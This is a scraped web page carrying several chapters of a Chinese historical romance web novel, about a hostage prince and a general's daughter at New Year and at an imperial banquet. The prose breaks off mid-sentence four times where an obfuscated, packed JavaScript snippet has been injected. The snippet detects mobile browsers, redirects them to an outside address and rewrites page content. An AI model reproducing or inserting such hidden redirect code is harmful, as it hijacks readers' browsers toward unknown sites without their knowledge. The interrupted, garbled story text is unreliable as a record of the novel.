隗絮重重地在糕点盒和代表自己的小人中间画了个等号,心满意足地唤来剪书,然后去更衣休息了。 剪书来收拾茶具的时候,看到这一副幼稚的画的时候,对自己公子投去了同情的目光:他一定是从战场上回来,想起了以前在王宫里锦衣玉食的生活,这才画了这幅画,哎,真可怜。 秦常念回了房间以后,立刻就倒在了床上,用被子将自己裹了起来,像个蚕蛹一样咕蛹,还不时左右翻腾:“怎么回事!这个隗絮太会了,真是手段高超,搞得自己毫无招架之力!下次,下次我一定要赢回来!” 第二天一早,整个镇北将军府都在为了新年做准备,气氛融洽,到处一片欢声笑语,连侍从们今日都挂了满脸的笑容。边关常年局势不稳,如此祥和的新年已经很久没有了。 “小姐,给隗公子的衣物已经做好了。”丫鬟把一套蓝色素净的衣裳呈上来。 秦常念很高兴,梳妆打扮好后便拿着衣服去敲了隗絮的门。 隗絮一开门,就看见秦常念头上戴着宝蓝色、翠鸟形状的钗子,耳饰是小小的宝石,晶莹剔透,随着秦常念的动作左右摇晃。秦常念一袭宝蓝色纱绣曳地裙,外衬一件白底浅粉花的窄银袄,眉眼弯弯,原本就白皙的脸庞在雪地的反光下更显得晶莹剔透。 隗絮看呆了,他脑子里唯一的想法是,秦常念大概不用去江南看春日的百花盛开,她就是奇迹一般在漠北绽放的春天。 “新年快乐呀,这是我给你做的新衣裳,算是新年礼物!”秦常念把手里的衣服递上去。 隗絮接过来,细细地看:“做得真漂亮,大小姐真是有心了。” “嗯……不是我做的,是我找人做的,所为我顶多就是个借花献佛。快穿上吧!一会我们要去装饰院子了!”秦常念积极地策划着,已经在算院子里该挂几个灯笼,粘什么样的窗花了。 没想到,过年的时候还会惦记给我置办一套新衣裳,还特意送过来。隗絮觉得镇北将军府甚至比他自己的王宫都更让他感觉到温暖。 隗絮换上了浅蓝色的长袍,为了配衣服,还特意把头发披了下来,风一吹,衣摆和头发都迎风飘动,显得仙气飘飘的。 “哇,他们说的果然没错,不是人衬衣裳,而是衣裳衬人。这衣裳穿在你身上,倒真的和那修仙之人似的。”秦常念看到隗絮的打扮,不禁感叹。 “若我真是修仙之人便好了。” “哈哈哈哈哈,想不到你在将军府待得时间长了,脸皮也变厚了嘛,这么坦诚地接受你长了一副好皮囊的事实,还要顺着杆子往上爬。”秦常念拍着隗絮的手臂,笑得都要弯下腰来。 隗絮轻轻弹了一下秦常念的脑门:“你想什么呢,我是说,如果我真是修仙之人,便可以替你实现你的愿望了。” 秦常念很夸张地捂住自己的额头,装作生气地瞪了隗絮一眼,演技拙劣到隗絮都看不下去,大手覆住她的眼睛:“别装。” 秦常念双手抓住隗絮的手拿下来:“不过你还别说,那根许愿红绳还真的挺灵的,今年府里的新年好热闹啊。” 隗絮换了一下两人握着手的姿势,默默地帮她暖着手。 是啊,那根红绳好灵,无论你许什么愿望都会实现的。 秦常念不知道从哪拿来了几个灯笼往隗絮怀里塞:“快,把这个挂到门口,一定会很好看的!” 隗絮接过灯笼,又忽然蹲下去,单手把秦常念抱起来:“来,你来挂。” 他早就发现秦常念虽然在将军府里被娇生惯养、处处呵护,但她却不是一个喜欢依赖他人的人,她渴望自己有本事,渴望自己有一番作为,就像她渴望学武一样。 秦常念又惊又喜,拿起灯笼就往打好的钉子上挂:“你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711265|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么知道我一直想挂一次的!就是太矮了,以前都挂不到。” 隗絮抱着她笑,看她仔细地把灯笼挂上,就递给她另一个。也不肯放她下来自己走,就这么抱着她走到了后院的门口。 期间路过的丫鬟们都低下了头,捂住眼睛,非礼勿视。秦常念平日里和丫鬟们的关系甚好,在隗絮的肩上,看到了几个丫鬟对她招着手笑,还用口型问她是不是将军府也要有姑爷了。 秦常念羞红了脸,连连摆手,却也止不住丫鬟们的笑,她们是真的希望大小姐能幸福。 “你这样对我,下人们要误会了!”秦常念趴在隗絮的耳朵边上小声说道,示意她放自己下去。 可是隗絮停了一下,将秦常念往上颠了颠:“误会什么?” “误会我们俩之间有什么。” “哦,那不叫误会,难道我们俩之间没什么吗?”隗絮一脸淡定地说。 秦常念吓得立刻去捂他的嘴,还四处环顾看有没有人听到:“你说什么呢!” 隗絮玩心大起,对着秦常念的掌心就亲了一下,看她惊慌失措地又把手收回去,觉得可爱极了。 晚上,丰盛的饭菜端上桌,秦远给秦常念夹了一筷子红烧肉:“来,常念,是你爱吃的红烧肉,多吃点。” 秦常念用筷子夹起那一块肥而不腻,色泽红润,沁着油光的肉,放进嘴里满足地嚼:“谢谢父亲。” 隗絮不动声色地将手帕放在她腿上,方便她一会擦油。 “隗公子,这是北凉过年必吃的炸丸子,我怕你想家,特意吩咐人做了。”秦远也给隗絮夹了菜。 隗絮忙行礼道谢:“多谢秦将军。” 在这个离北凉千里的地方,他居然有了被关心、被疼爱的感觉。他第一次开始向往可以有一个家庭。 一顿饭吃得其乐融融、有说有笑的,秦远看着隗絮不时给秦常念夹菜,又默许秦常念把不想吃的蔬菜扔到他碗里,心里感慨万千。 “你们年轻人自有年轻人的想法,我老了,也管不了了。隗公子,常念是个单纯的孩子,从小就在将军府里长大,心思纯粹、为人善良,我希望你将来无论做何选择,都不要伤害她。” 秦远毕竟是做父亲的,难免放心不下自己的女儿,举起酒杯和隗絮碰。 “我明白,我爱惜秦常念如将军爱惜她一样,倘若日后我们真的要面临选择,我也是一切以秦常念为先,她就是我的底线,也是我的最高准则。还请将军放心。”隗絮双手端起酒杯,示意了一下,然后一饮而尽。 “你们喝的酒好香啊,我也想尝一杯。”秦常念满怀期待地看着秦远。 “不行。”秦远拒绝得很干脆。 “哎呀,我都十九了,可以喝了。”秦常念试图撒娇,换得酒喝。 “不可。”秦远又转过去对隗絮解释,“我对秦常念管得比较严,至今都没让她喝过酒,她性子本就豪迈,再喝点酒,真不知道会成什么样子。” 隗絮想起那晚秦常念趾高气昂地要他分酒给她的模样,不禁笑了,原来,小猫还有两幅面孔呢。 趁秦远夹菜的时候,秦常念低声对隗絮说:“给我尝一口酒。” “不行,你可以没,喝,过,酒,呢。”隗絮也低声拒绝,还故意把后面几个字拖长。 真是一副令人不爽的模样,秦常念越想越气,在桌子底下对着他大腿,狠狠掐了一下。 8. 佳酿 隗絮被秦常念掐得生疼,面上又不能显露出来,只能咬紧牙关忍住,仍然应和着秦远的话语,谈笑风生,对饮佳酿。 桌子底下却是暗流涌动,他们越喝酒,秦常念就越气,屡屡动手。 隗絮没办法,只能在秦常念下一次作恶的时候,抓住她的手腕,捏了两下予以警告。 可秦常念不是个会轻易放弃的,她一只手被制住了,另一只手又蠢蠢欲动,在隗絮的腰上左掐一下、右掐一下。 “嘶。”隗絮一个不留神,被掐得痒痒,闪躲了一下。 “怎么了?”秦远立刻注意到了,对他投去关切的目光。 “怎么了,可是被蚊虫咬了?这大冬天的,应该没有蚊虫吧。”秦常念还很贴心地凑上来关心。 隗絮看着这个装无辜的罪魁祸首,也是拿她没有办法,只得随便找个借口:“无妨,刚刚不小心磕到桌角了。” “哎呀,那隗公子可要小心点了。”秦常念的手仍在下面小动作不断,但故意很夸张地说道。 秦远最是了解自己家女儿的性子,看了秦常念一眼,便心下了然,摇了摇头:“来,我们继续饮酒。” 隗絮帮秦远斟了杯酒,继续陪她喝,一双宽大的手掌不动声色地捉住了桌子底下的那个小毛贼。 秦常念的两只手腕都被隗絮单手握住,动弹不得。即便她费力挣扎,在绝对的力量压制面前也都是徒劳。 秦常念一顿挣扎无果,脾气上来了,“蹭”地一下站起身:“我吃饱了,你们慢慢吃。”然后气鼓鼓地回了房间。 一回房间,她就拉着子秋大吐苦水:“不是,我说他们也太欺人太甚了!这大好的时候连酒都不让我喝,倒是严以待人,宽以律己!对自己好得不得了,到头来受罪的只有我!子秋,你说这公平吗?” 子秋一向是在旁边扮演雕塑的,默不作声。 秦常念更生气了:“你快说,公不公平!子秋,不会连你也欺负我吧!” “不公平不公平。”子秋被逼无奈,只得回答。看着秦常念生气的样子,在心里默默地佩服秦远的先见之明,这没喝都跟喝醉了一样,真喝多了那还了得,不知道有谁治得住。 饭桌上,秦远看着秦常念离开,摇着头笑了笑:“哎,我这个女儿就是惯得骄纵了些,脾气大得很,你日后能受得了?” “顺着便是。”隗絮也笑得温润,“我去看看她。” “去吧。”秦远挥挥手同意了,有的时候,感情这件事情是自有天意的,支持是他能做的最好的选择。 秦常念一看自己离席了,连来追自己、挽留自己的人都没有,那俩人仿佛没事人一样,还能有吃有喝的,更生气了,抄起一个枕头就往门口扔:“我看你俩就当父子算了,我才是多余的那个人,酒也是你们喝,天也是你们聊,我就在边上当个摆设!” 隗絮正好开门,接住了那个枕头:“哎哟,我们的大小姐生气啦?” “来得这么晚,你索性不要来了!来干嘛?等着给我收尸吗?”秦常念嘴上不饶人。 “诶,大过年的,怎么能讲这么不吉利的话呢,快呸呸呸。”隗絮将那个枕头拍了拍,放回原处,捏了捏秦常念的脸颊。 秦常念很傲气地把头扭到一边,嘟起嘴巴不理他。 “快呀,过年可是要讨个好彩头的,我们大小姐来年定是拥有天上地下独一份的好运气的。”隗絮原本是不信这些的,但事关秦常念,他觉得该事事谨慎,哪怕有万分之一的不幸,都是不可以的。 “呸呸呸。”秦常念很敷衍地配合了。 隗絮不想让秦常念这么生闷气,就靠在秦常念的身上,开始撒娇哄她:“哎呀我们大小姐容貌无双、冰雪聪明、勇敢智慧、率性洒脱,是世间最最特别的女子,这样好的大小姐,想必是不会跟我一个小小的质子计较的,对不对?我一个粗人,说话做事难免会惹大小姐生气,大小姐跟我说便是,不要生气,生气会长皱纹的。” 秦常念一听,伸出一只手就把隗絮推开,双手抱胸:“哦,那你的意思是我长了皱纹你就不喜欢我了?” 隗絮当场石化在那里,女人心,海底针这句话他现在算是明白了,这这这,他什么时候说了这话?冤枉啊! “你还不说话,你是默认了?”秦常念更严肃了,正襟危坐的。 隗絮被吓了一跳,赶紧回答:“没有啊,你什么样我都喜欢,会一直一直喜欢下去的。” “哦,那你的意思就是我现在已经长出皱纹了,你还是喜欢我,可真是难为你啊,隗公子,喜欢我这个丑八怪。”秦常念点点头,掀开被子,就要躺进去睡觉。 啊?啊??啊???隗絮觉得自己的眼珠子都快惊得掉下来了,这是什么理解? 天呐,他觉得自己的冤屈简直可以感动上苍,把漠北的雪融化,换上南海炽热的阳光。 隗絮晃了晃脑袋,试图重新捋一遍逻辑,就看见秦常念把自己埋在被子里,侧过头去,挥了挥手:“不想再见到你!你出去!” 隗絮赶紧在贴着秦常念躺下,隔着被子抱住她:“我知道大小姐是因为喝酒的事情不爽,今天不是将军在嘛,下次,下次我一定请你喝美酒,保证香甜可口,好不好?” “你就知道马后炮,你都不敢为了我和父亲抗争,你分明就是不喜欢我!”秦常念的声音闷闷地从被子里传来。 “我的小祖宗啊,我还敢跟秦将军抗争?他一声令下,就可以把我扔出府去,或是挂在城门外示众。”隗絮侧躺着,一只手撑住下巴,看着秦常念说道。 “你下次得帮我说话。” 隗絮知道,秦常念这是松口了,赶忙答应下来,又拿出一个红纸包:“给,你的压岁钱。” “切,你别以为你几个钱就能收买本小姐,本小姐什么没见过。”话虽是这么说,秦常念还是从被窝里坐起来,打开了那个红纸包。 “哇!”见多识广的秦常念在打开的时候也惊了,里面装的是金海棠锞子,做工精细,秦常念放在手上掂量了一下,也约莫有二两重。 我确实不好收买,但他给的实在太多了。 秦常念如是想。 “你哪来的那么多钱啊?”我们丝毫不是财迷的秦常念把金子包回去,放到枕头底下,又拍了拍枕头,问道。 “我好歹也是个少主,身家自然还是有一些的。”见秦常念被这份惊喜吓了一跳,隗絮有些得意。 他把秦常念又包回被子里:“好了,快睡吧。小财迷。” “那你呢?”秦常念顺从地躺下。 “我自然也是睡在这里啊,这么冷,你不会狠心到要把我赶走吧?”隗絮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711266|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很厚脸皮地躺了下来,准备赖在这里不走了。 秦常念看着他耍赖皮的样子笑了一下,把被子分给他一点盖:“我又没说不让你睡。” 隗絮起身仔细地把被子掖好,确保秦常念那边有比较多的被子,才躺下。 他把秦常念抱起来,一只胳膊垫在她脑袋下,另一只手揽着她的腰,和她紧紧地贴在了一起,就闭上了眼睛。 秦常念起初是有些惊讶,又有些害羞,从脸红到了耳朵根,但看到隗絮安静的睡颜,感受到他平稳有力的心跳,又催生出一种莫名的安全感,也闭上了眼睛,甜甜地睡去了。 她一睡着,一直装睡的隗絮就睁开了眼睛,他很仔细地看秦常念的脸,连她脸上有几根睫毛都数了一下,还是没办法平复心情。 抱着她的时候,隗絮觉得他什么都可以不要。 菩萨啊,如果我什么都可以不要,您能保佑我一辈子都能抱着她安然入睡吗? 远方,江南某座不知名的山上,一座不知名的庙宇里,老和尚正在教导小和尚:“所求皆苦。” 小和尚一知半解地点了点头,在老和尚走后抡起扫帚,只求能快点扫干净庭院里的落叶。 你看,再小的求,也是求。 凡人皆苦,但离苦,就能得乐吗? 秦常念的脾气来得快,去得也快。做了个美梦,便将此事忘到九霄云外去了。 难得不用早起,新年的第二天,她懒懒地从床上爬起来,眼睛都没睁开地晃悠到秦远面前,囫囵吞枣地和他一起吃完早饭,又像个游魂一样飘回房间。 游魂飘到房间门口,闭着眼睛摸门环的时候,却摸到了一只手,吓得都变成了人,站直了大喊:“啊!!!!” 隗絮几乎都想上去手动打开她的眼皮:“好好看看,大小姐,是我啊。” 秦常念又像根面条一样有气无力地靠在一旁:“哦,隗公子这么早什么事啊,不会新年第一天就要上课吧,你不能又要马儿跑,又想马儿不吃草。” “什么啊,这都哪跟哪啊?” 隗絮还在摸不着头脑的时候,秦常念已经进了房间,开始关门,打着哈欠胡言乱语:“小店已经打烊,闭门谢客。前面右转有别的店铺,可以买到孟婆汤。我是周公的妹妹,现下和哥哥有约。” 隗絮听得好笑,用手肘撑住了门,从地上抱了一大筐东西跟着进了房间。 “我吃过早饭了,你要想吃的话自己坐那吃。”秦常念迷迷糊糊之间看见他把几个碗和坛子拿到桌上,交代了几句,就往床上栽去。 “不是早饭,这是酿酒的原料。” “酿酒?”秦常念一听就来了兴趣,直挺挺地从床上起来,跑到桌子边,对着一团糯米就要上手。 隗絮及时地用食指抵住秦常念的脑门:“洗手,要不然酿出来谁敢喝啊?” “切,没人敢喝才好呢,你不懂,这叫合理保护私有财产,你们都不喝,就都是我的了。”秦常念一边念念叨叨,一边在边上隗絮提前备好的温水里洗了手。 “先弄哪个?哪个是酒曲啊?”秦常念一洗完手就像个小蜜蜂似的围着那一对碗碟叽叽喳喳。 隗絮没急着开始,瞟了一眼秦常念的手,便去拿了擦手巾,抓过她的手,把水珠认真擦干净:“要擦干手啊,当心生冻疮。” 9. 道歉 “今日我们要酿的是天门冬酒,驱寒祛湿,延年益气。”隗絮把天门冬草和酒曲递到秦常念手上。 秦常念深以为然地点点头:“我就说嘛,饮酒是好处许多的,爱饮,能饮,多饮。” 隗絮无奈地低下头看了她一眼,提醒道:“不能贪杯。” 话语很苍白,他努努嘴还想再补上几句,却在秦常念兴致勃勃的眼神中败下阵来。 “先放哪个?这个吗?”秦常念随便拿了一碗糯米在手里晃,还揪下来一小团偷吃。 “先将糯米和红曲放入其中,充分搅拌后,再放入天门冬,然后在酒槽中蒸煮,外置一碗接其气,凝固成水,埋于雪下。”隗絮一口气念了个彻底。 你肯定背着我偷偷饮了很多酒,连酿酒的过程都如此烂熟于心。秦常念在心里下了个结论。 她把糯米和红曲都倒在一起,拿了个捣子就开始了。糯米粘稠有劲,秦常念觉得它简直诚心在和自己作对,该上的时候不上,该下的时候不下。 捣了没多久秦常念的手就酸了,速度也跟着下降了。 隗絮见状,把手伸过来就要接:“我来帮你吧。” “不行!”秦常念立刻就把碗移开了,“这是我第一次酿酒呢,我想自己来,不假借他人之手,这才是属于我的酒。” 隗絮没再坚持,点了点头,歪着脑袋想了一下,就绕到秦常念的身后,一双温热但粗粝的大手覆住秦常念的手。 隗絮的手比秦常念的宽厚很多,将她的手几乎完全包在里面,带着她慢慢捣。隗絮承担了大部分的力量,手臂的肌肉微微绷紧,语气仍是淡然而温柔:“是大小姐的,便是大小姐的,谁也抢不走。” 这个姿势,隗絮说话时吐出的温热气息正好在秦常念的脖颈处,她觉得有些痒,稍稍往旁边躲了一下。 “别躲。”隗絮用另一只手将她一把捞回来,用了些力气,秦常念被拉的踉跄了一下,正好撞到隗絮的胸膛。 隗絮继续用两只手把她圈在怀里,见她有些走神,又用手臂碰了她一下:“专心酿酒。” 秦常念靠在隗絮怀里,思绪却飞向远方。 隗絮这么帅,人又好,懂得还多,从诗词歌赋到舞剑酿酒,没什么不在行的,最重要的是,人外冷心热,明明心里比谁都炙热善良,还总要装出一副冷漠的样子,仿佛不在乎全世界的生死。真是怪可爱的。 在听到隗絮的提醒后,秦常念猛然回神,自己都把自己吓了一跳。 这怎么专心?我这完全是不思酿酒,思以后啊! 秦常念默默地在心里敲打了自己一下:专心啊,专心,不要多想。 好不容易搅拌得差不多了,秦常念赶紧从隗絮的怀里钻出来:“差不多了吧。” 隗絮在秦常念转身找天门冬的时候,勾了勾嘴角,他今日是有些上瘾,逗小朋友上瘾:“差不多了,可以放了。” 他一个大步上前,双手撑在秦常念的身侧,秦常念惊得转过身来,隗絮还一脸正义:“放吧,我帮你把握着量。” 等到把酒放到火上煮的时候,秦常念才发现事情不对劲。 “是现在接蒸汽吗?” “……可能是吧。”隗絮回答得畏畏缩缩,不是很确定的样子,拿着一个坛子在酒槽前左右摆弄,接进去的酒是寥寥无几。 “你真的会酿酒吗?”秦常念看到那酒汽大都凝结在桌面上,形成一个小型的酒瀑布的时候,终于忍不住问了。 “我会。”隗絮回答得倒是很坚定。 又一次失误后,在秦常念审犯人般扫视的目光下,隗絮才补充道:“我没酿过,但昨日我让剪书把酿酒的方法都写在纸上,我反复背熟了的,应该没问题。” 秦常念握住隗絮的手腕,将坛子移到正对着酒槽出口的位置,左右确认了一下没有酒汽逃跑,撇了下嘴:“我就说嘛,原来你也不会。” 听到这话,隗絮有些急了,连连说道:“不是,我会,我昨日都背过步骤,也看过图了。” “对,光有理论经验,还是昨天晚上现学现卖的。”秦常念在一旁插刀。 “要不是我急着……我肯定能做好的。”隗絮不知道是举酒坛子累的,还是解释的时候紧张的,脸都红了,汗直往外冒,将他的脸衬的白里透红的,像个刚出炉的小蒸包。 “急着什么?”秦常念好奇地追问。 “急着……”隗絮犹豫了一下,还是选择告诉她,顿了顿,用很快的语速掠过,“急着给你赔礼道歉。” “道歉?”秦常念根本都忘了发生了什么,颇有些疑惑。 “昨日没能在秦将军面前替你说话,让你觉得我没跟你站在一边,对不起,你明明不被允许喝酒,我还喝得那么欢,没顾及你的感受,对不起。虽然我现在在将军府还没办法请你喝酒,但我可以先和你一起酿酒,等来年春天把它挖出来,我们再喝个痛快!”隗絮站定了,一字一句说得认真。 他每次得承诺都这么慎重,好像真的会实现一样。 明明我们身份相背,明明我们都不知道来年春天你还在不在将军府,在不在我身边。 想到这里,秦常念有些伤感,刻意将视线移开,平复了一下情绪再移回来:“我早都不生气了,你不必为了这点小事道歉。” “不行,你不生气了,不代表我就做对了。大小姐心胸宽广、为人豁达,我绝不能借此掩盖我的怯弱和不周。大小姐,我想许你一个未来,终在目光可及处兑现。” 少年抱着一坛子没发酵的酒,在大树下对少女许诺。 少女含着泪,带着笑,拉着少年的手将酒坛埋在树下。 燕雁代飞,山寒水冷。 “隗絮,那我们一言为定!”一声爽朗的约定打破冬日的寂静,秦常念朝隗絮飞扑过去,隗絮稳稳地抱住她。 “我们可说好了啊。”秦常念双手捧着隗絮的脸,轻声地重复了一遍。 “嗯,定不辜负大小姐的信任。”隗絮扬着头看怀里的秦常念,用额头贴了贴她。 挡在太阳前的顽皮的云正好飘走,骄阳直直地照在两个黏在一起的少年的身上,连影子都看不见。 秦常念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711267|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每日以各种借口推脱,课停了月余,但练武却从没中断过。为了避开秦远,秦常念每日寅时便起来练剑,步伐、招式都记得滚瓜烂熟。 隗絮倒是提心吊胆的,几次和秦常念商量要她等秦远回了军队再练,秦常念都是以“剑不可一日不练”来堵他的嘴。 在隗絮以教她如何用短剑为条件,好不容易哄着她、说服她上诗词课的时候,从帝京传下来一道谕令。 大齐皇帝李骤北上巡查,一为体察民情,二为嘉奖官员。秦远戍北多年,战功赫赫,受邀参加皇上在冀州设的踏雪宴。 值得一提的是,秦常念被点名要求参加。 “微臣接旨,吾皇万岁万岁万万岁。”秦远很虔诚地跪下去。 秦常念也跟着父亲叩首,心里却充满了疑问:皇上从没见过我,却要我一同前往参加,难不成是为了体恤官员,邀请家人也一同前往? 恭恭敬敬地将公公送走以后,秦远眉头紧皱,大步流星地走到秦常念的面前,上下打量了她一下,摇了摇头便回了房间。 秦常念完全摸不着头脑,跑去和隗絮说了这件事:“而且,父亲因为这件事不太高兴呢,他好像不想我去。” 隗絮也沉思了一下,摸了摸秦常念的头:“别多想,兴许是你父亲不想让你参加这些朝堂之事,让你安安静静地做将军府大小姐呢。” “秦常念!”秦远在院子里大喊一声,焦急地踱步。 秦常念更加疑惑了,隗絮拍了拍她的手,让她先出去听秦远有什么事说。 “你别去了,就说你病了,不宜出门,也怕过了病气给皇上。”秦远黑着脸,一股脑地说完。 “那可不行,皇上亲自设宴,我称病不去?那便显得我们秦家怠慢了,父亲一定会落人口实的。”秦常念对于这个提议不敢认同。 “不过是踏雪宴这么小的事,没人会在意的。” “若真是宴会这么小的事情,父亲现在就不会在这里想方设法地让我不去了。”秦常念抬着头,认认真真地说道。秦远看了她一眼,叹了口气,低下了头,原本因为秦常念不肯而怒火中烧的气势也消失殆尽了。 “到底怎么了?踏雪宴上会发生什么吗?”秦常念觉得秦远不让自己去一定是另有隐情,试图猜测。 “我不知道。”秦远如实回答。 “那父亲便不必杞人忧天了,我会乖乖听话,不乱跑,不会给父亲丢人的。”秦常念保证道。 “可我知道人心。人心叵测,为君者更是擅弄帝王之术,一旦卷进来,你便身不由己了。”秦远盯着面前已经十九岁的女儿单纯的脸庞,她坚毅的表情和她母亲真像。 “我只是去参加宴会,不会参加朝堂之争的。父亲放心,我一定谨言慎行,不会乱说话的。”秦常念以为父亲怕自己任性惯了,乱说话,惹得皇上不悦,赶忙解释。 “你若是去了,便没得选了。”秦远看向远方,眸子里盛满了秦常念看不懂的情绪。 隗絮在门后听完了父女俩人的争吵,悄无声息地退到门板后的阴影里,沉思着低下了头。 10. 圣宴 秦常念最后还是出现在了宴会上。 这场宴会的排场比秦常念想象中的大,不仅皇上、皇后来了,冀州附近的地方官员来了,连当朝太子李欲、四皇子李权执都悉数到场。 “众爱卿平日里为了大齐鞠躬尽瘁,朕今日特在此处设宴,邀请大家共赏冬景。”皇上率先举杯。 宴会是在冀州行宫里的院子辟了一处来设,正对着冲寒而开的腊梅,景致极好,而仅一墙之隔的街道,便是瘦骨嶙峋的枯枝和寂静无声的雪。 大家纷纷站起来,拿着酒杯行礼,态度谦卑:“谢圣上恩典。”心里却不知道在如何揣摩着这场宴会。 有人想借机在陛下面前表现,日后求个平步青云;有人是想摸清陛下的喜好,日后投机取巧;也有的人是想游说陛下,捞点好处。 陛下也是同样的,算计早已在心中了吗,大家不过装装面上的样子。 总之,人心没有单纯的。 四皇子李权执率先站起来:“父王,今日来的诸位都是劳苦功高,我想献上舞剑一曲,为诸位助兴!” “好啊!”皇上很高兴,指了指中央,让他上来表演。 这么一上来就抢风头?把太子殿下置于何处? 秦常念看了一眼坐在斜对面的太子,他不紧不慢地倒了杯茶,品了一口,微微抬起了眼皮,正好和秦常念的目光交汇。 秦常念顿时有些慌乱,赶忙低下头向太子示意。 太子也点了下头算是回礼,上下打量了她一下,便将视线移开了。 场地内,李权执已经昂着头,骄傲地走到正中央,开始舞剑了。那剑舞得不能说是如龙蛇腾飞吧,只能说是如蚯蚓蠕动;那速度不能说是快如疾风吧,只能说是如迟暮老人;那步伐不能说是精湛娴熟吧,只能说是好巧没把自己绊死。 秦常念在台下都差点憋不住笑,这样的水平也好意思在大家面前献舞? 一曲毕,李权执行了个谢礼,大家纷纷鼓掌,称赞他“好功夫”“日后必成大器”。 “好!舞得好!赏!”皇上也是十分高兴,命人取来些珍稀宝贝。 看吧,有人装聋,就会有人跟着作哑。 秦常念转过头,看到婧妃已经笑地合不拢嘴,正和边上的冀州司马举杯:“瑞王长大了,日后还请大人多多指导啊。” “娘娘哪里的话,瑞王殿下天资过人,才能无人出其右。”中年的冀州司马半低下头,谄媚地笑着。 太子这下总该有些动作了,秦常念又转回头去看他,他仍是笔挺地坐在那里,只在别人过来敬酒的时候,单手执酒杯,一饮而尽,不争不抢的。 “秦大将军,最近边关可好?”皇上突然点名秦远,秦常念吓了一跳。 “回陛下,边关虽仍和附近国家有些冲突摩擦,但总体上都算平稳,还请陛下放心。”秦远立刻站起来,毕恭毕敬地回答。 “那就好,这边关战乱已久,今年又恰逢南方水灾,国库支出的负担加重,不知道秦大将军可有良策啊?”皇上喝了一口茶,问道。 秦远把腰弯得更下去些:“陛下,边疆战乱今年已经好转许多,但漠北毕竟为极寒之地,气候极端,物资短缺,将士们的吃穿用度都需要保障,因此边关的军饷是万万不能减的。若是减少了物资的供应,将士们受到影响,边疆局势动乱,怕是对我大齐更加不利啊。” 皇上没说话,继续抿了一口茶,又重重地放下杯子。 婧妃见状,对李权执使了个眼色,李权执便立刻站起来:“父皇,儿臣有一计。” “说来听听。”皇上有些期待地看向他。 “边关连年战乱,一直防守虽是损耗比较小的方式,但连年的拖延也令人心烦。不如趁此机会,大肆支援秦将军,让他直接带兵攻打,一举歼灭赤狄人,便可永除后患。”李权执说完之后,颇为得意地望了一眼秦远。 “瑞王殿下,不可。今年南方水患已起,粮食产量和税收都锐减,若是此刻要大举攻打北凉,怕是百姓折腾不起。”秦远铿锵有力地反驳,丝毫不畏惧李权执的皇子身份。 “可我还听说秦大将军府里的质子,成了镇远将军府的座上宾啊,和秦将军的女儿也走得甚近,秦将军,该不会徇私吧?”李权执加上了些筹码,以此来逼秦远。 秦远仍是沉着应付:“瑞王殿下真是想多了,质子便是质子,那些无稽之谈不知是哪里听来的谣言啊。再说我秦远驰骋疆场大半辈子,刀头舐血的日子也过惯了。若是连个敌国的质子都要同情,那如何带兵打仗?瑞王殿下兴许是没打过仗,不懂行伍之人面临的残酷,才会有如此的想法吧。” “我……你……”李权执半天说不出个所以然来,气得指着秦远,手指还上下点着。 “好了,此事朕再想想,下次再议。”皇上开口打断。 陛下都发话了,两人只好都坐下。 “今日是来赏雪的,大家都不要坏了兴致。素闻秦将军的女儿是将门之后,不输男儿,不如请秦将军的女儿为大家舞个剑,助助兴?”婧妃站起来,夸张地做了个请的动作,宽大的袖口在空中晃了一圈,活像个大扑棱蛾子。 周围的人听了以后,纷纷在底下窃窃私语:“这秦家的女儿是个小姐脾气,听说是好吃懒做,什么都不会。” “是啊,别说舞剑了,好像是连扎马步都扎不明白。一个将门之后,倒养得像个娇娇女了。” “这不是她从小母亲过世,秦远对她格外宠爱嘛。” 太子听到底下的闲言碎语,瞪了一眼边上的人,议论的声音顿时小了几分。他看着秦常念在桌子底下握紧的拳头和坚毅的目光,倒是有几分好奇,她会如何做。 秦远刚要站起来推脱,秦常念就按住他的手腕,站了起来:“好啊,难得今日的氛围这么好,我便献丑了。” 太子稍稍仰起头,再次打量了她一遍,难道那些传言是假的? 秦常念对着皇上请求道:“陛下,可否容小女先去换件衣裳,取剑来,再为大家舞剑一曲?” “准了。” 在等秦常念的时候,除了忧虑不已的秦远,其他人都是看热闹的心态。婧妃何尝没听说过传言,她就是捕捉到刚才李权执舞剑的时候,秦常念不屑的表情,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 